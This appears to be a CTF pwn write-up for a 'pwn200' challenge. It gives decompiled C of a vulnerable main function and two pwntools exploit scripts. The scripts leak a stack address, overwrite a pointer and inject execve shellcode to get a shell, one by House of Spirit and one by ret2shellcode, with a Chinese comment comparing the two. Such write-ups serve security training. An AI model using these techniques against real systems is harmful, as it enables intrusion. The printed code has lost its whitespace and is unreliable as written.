void__fastcallmainmain(){__int64i;// [rsp+10h] [rbp-40h]
charbuf[48];// [rsp+20h] [rbp-30h] BYREF
puts("who are u?");for(i=0LL;i<=47;++i){read(0,&buf[i],1uLL);if(buf[i]=='\n'){buf[i]=0;break;}}printf("%s, welcome to ISCC~ \n",buf);puts("give me your id ~~?");readint();mainmainmain();}
frompwnimport*context(os='linux',arch='amd64',log_level='debug')procname='./pwn200'io=process(procname)# io = remote('node4.buuoj.cn', 26861)elf=ELF(procname)# libc = ELF('./libc.so.6')defn2b(x):returnstr(x).encode()defmain():# pause()io.sendafter(b'who are u?\n',b'a'*48)io.recvuntil(b'a'*48)leak_stack=u64(io.recv(6).ljust(8,b'\x00'))success(f'leak stack: {hex(leak_stack)}')io.sendafter(b'give me your id ~~?',b'1'*4)rbp=leak_stack-0x80dest=rbp-0x08buf=rbp-0x40success(f'leak dest: {hex(dest)}')ptr=dest-0x8pause()shellcode=b'\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'payload_ptr=(p64(0)+shellcode).ljust(0x28,b'\x00')+p64(0x41)+p64(0)+p64(ptr)pause()io.sendafter(b'give me money~\n',payload_ptr)io.sendlineafter(b'choice : ',b'2')io.sendlineafter(b'choice : ',b'1')io.sendlineafter(b'how long?\n',b'48')payload_ra=p64(0)*3+p64(buf+0x8)io.sendafter(b'48\n',payload_ra)io.sendlineafter(b'choice : ',b'3')io.interactive()if__name__=='__main__':main()
实际上这个题也可以不用 House of Spirit. 既然 dest 可以被覆盖, 且有 strcpy(dest, buf). 那么其实可以将 dest 覆盖为栈上的某个位置, 如返回地址处. 这样其实就可以进行 ret2shellcode 了. (比 House of Spirit 简单, 不用找栈上的数据来进行伪造)
frompwnimport*context(os='linux',arch='amd64',log_level='debug')procname='./pwn200'io=process(procname)# io = remote()elf=ELF(procname)# libc = ELF('./libc.so.6')defn2b(x):returnstr(x).encode()defmain():io.sendafter(b'who are u?\n',b'a'*48)io.recvuntil(b'a'*48)leak_stack=u64(io.recv(6).ljust(8,b'\x00'))success(f'leak stack: {hex(leak_stack)}')io.sendafter(b'give me your id ~~?',b'1'*4)rbp=leak_stack-0x80dest=rbp-0x08buf=rbp-0x40success(f'leak dest: {hex(dest)}')shellcode=b'\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'payload=(p64(buf+8)+shellcode).ljust(56,b'\x00')+p64(rbp+8)io.sendafter(b'give me money~\n',payload)io.sendlineafter(b'choice : ',b'3')io.interactive()if__name__=='__main__':main()